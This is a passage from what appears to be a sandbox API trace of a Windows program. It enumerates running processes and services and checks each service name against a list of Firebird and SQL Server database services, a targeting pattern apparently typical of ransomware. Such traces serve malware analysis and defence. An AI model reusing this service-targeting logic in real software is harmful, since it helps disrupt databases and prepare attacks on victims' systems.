(in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0202.181] lstrlenW (lpString="dllhost.exe") returned 11 [0202.181] Process32NextW (in: hSnapshot=0x534, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0202.182] CloseHandle (hObject=0x534) returned 1 [0202.182] Sleep (dwMilliseconds=0x1f4) [0203.101] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447afe0 [0203.102] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0203.102] GetLastError () returned 0xea [0203.102] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x54d0068 [0203.103] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x54d0068, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x54d0068, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0203.103] CloseServiceHandle (hSCObject=0x447afe0) returned 1 [0203.104] lstrlenW (lpString="Appinfo") returned 7 [0203.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0203.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0203.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0203.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0203.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0203.104] lstrlenW (lpString="AppXSvc") returned 7 [0203.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0203.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0203.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0203.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0203.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0203.104] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0203.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0203.104] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0203.104] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0203.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0203.104] lstrlenW (lpString="Audiosrv") returned 8 [0203.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0203.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0203.104] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0203.104] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0203.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0203.104] lstrlenW (lpString="BFE") returned 3 [0203.104] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0203.104] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0203.104] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0203.104] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0203.104] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0203.105] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0203.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0203.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0203.105] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0203.105] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0203.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0203.105] lstrlenW (lpString="CDPSvc") returned 6 [0203.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0203.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0203.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0203.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0203.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0203.105] lstrlenW (lpString="ClickToRunSvc") returned 13 [0203.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0203.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0203.105] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0203.105] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0203.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0203.105] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0203.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0203.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0203.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0203.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0203.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0203.105] lstrlenW (lpString="CryptSvc") returned 8 [0203.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0203.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0203.105] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0203.105] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0203.105] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0203.105] lstrlenW (lpString="DcomLaunch") returned 10 [0203.105] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.105] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0203.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0203.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0203.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0203.106] lstrlenW (lpString="DeviceAssociationService") returned 24 [0203.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0203.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0203.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0203.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0203.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0203.106] lstrlenW (lpString="Dhcp") returned 4 [0203.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0203.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0203.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0203.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0203.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0203.106] lstrlenW (lpString="Dnscache") returned 8 [0203.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0203.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0203.106] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0203.106] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0203.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0203.106] lstrlenW (lpString="DPS") returned 3 [0203.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0203.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0203.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0203.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0203.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0203.106] lstrlenW (lpString="DusmSvc") returned 7 [0203.106] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0203.106] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0203.106] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0203.106] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0203.106] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0203.107] lstrlenW (lpString="EventLog") returned 8 [0203.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0203.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0203.107] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0203.107] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0203.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0203.107] lstrlenW (lpString="EventSystem") returned 11 [0203.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0203.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0203.107] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0203.107] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0203.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0203.107] lstrlenW (lpString="FontCache") returned 9 [0203.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0203.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0203.107] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0203.107] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0203.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0203.107] lstrlenW (lpString="gpsvc") returned 5 [0203.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0203.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0203.107] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0203.107] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0203.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0203.107] lstrlenW (lpString="iphlpsvc") returned 8 [0203.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0203.107] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0203.107] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0203.107] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0203.107] lstrlenW (lpString="KeyIso") returned 6 [0203.107] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0203.107] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0203.108] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0203.108] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0203.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0203.108] lstrlenW (lpString="LanmanServer") returned 12 [0203.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0203.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0203.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0203.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0203.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0203.108] lstrlenW (lpString="LanmanWorkstation") returned 17 [0203.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0203.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0203.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0203.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0203.108] lstrlenW (lpString="lfsvc") returned 5 [0203.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0203.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0203.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0203.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0203.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0203.108] lstrlenW (lpString="lmhosts") returned 7 [0203.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0203.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0203.108] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0203.108] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0203.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0203.108] lstrlenW (lpString="LSM") returned 3 [0203.108] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0203.108] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0203.108] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0203.108] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0203.108] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0203.108] lstrlenW (lpString="MpsSvc") returned 6 [0203.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0203.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0203.109] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0203.109] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0203.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0203.109] lstrlenW (lpString="NcbService") returned 10 [0203.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0203.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0203.109] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0203.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0203.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0203.109] lstrlenW (lpString="netprofm") returned 8 [0203.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0203.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0203.109] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0203.109] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0203.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0203.109] lstrlenW (lpString="NgcSvc") returned 6 [0203.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0203.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0203.109] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0203.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0203.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0203.109] lstrlenW (lpString="NlaSvc") returned 6 [0203.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0203.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0203.109] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0203.109] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0203.109] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0203.109] lstrlenW (lpString="nsi") returned 3 [0203.109] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0203.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0203.109] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0203.110] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0203.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0203.110] lstrlenW (lpString="PcaSvc") returned 6 [0203.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0203.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0203.110] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0203.110] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0203.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0203.110] lstrlenW (lpString="PlugPlay") returned 8 [0203.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0203.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0203.110] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0203.110] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0203.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0203.110] lstrlenW (lpString="Power") returned 5 [0203.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0203.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0203.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0203.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0203.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0203.110] lstrlenW (lpString="ProfSvc") returned 7 [0203.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0203.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0203.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0203.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0203.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0203.110] lstrlenW (lpString="RpcEptMapper") returned 12 [0203.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.110] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0203.110] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0203.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0203.110] lstrlenW (lpString="RpcSs") returned 5 [0203.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0203.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0203.111] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0203.111] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0203.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0203.111] lstrlenW (lpString="SamSs") returned 5 [0203.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0203.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0203.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0203.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0203.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0203.111] lstrlenW (lpString="Schedule") returned 8 [0203.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0203.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0203.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0203.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0203.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0203.111] lstrlenW (lpString="SecurityHealthService") returned 21 [0203.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0203.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0203.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0203.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0203.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0203.111] lstrlenW (lpString="SENS") returned 4 [0203.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0203.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0203.111] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0203.111] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0203.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0203.111] lstrlenW (lpString="ShellHWDetection") returned 16 [0203.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.111] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0203.111] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0203.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0203.112] lstrlenW (lpString="Spooler") returned 7 [0203.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0203.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0203.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0203.325] lstrlenW (lpString="StateRepository") returned 15 [0203.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0203.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0203.325] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0203.325] lstrlenW (lpString="SysMain") returned 7 [0203.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0203.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0203.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0203.325] lstrlenW (lpString="SystemEventsBroker") returned 18 [0203.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0203.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0203.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0203.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0203.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0203.325] lstrlenW (lpString="Themes") returned 6 [0203.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0203.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0203.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0203.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0203.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0203.326] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0203.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0203.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0203.326] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0203.326] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0203.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4d4 [0203.330] Process32FirstW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.331] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.331] lstrlenW (lpString="System") returned 6 [0203.331] Process32NextW (in: hSnapshot=0x4d4, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, 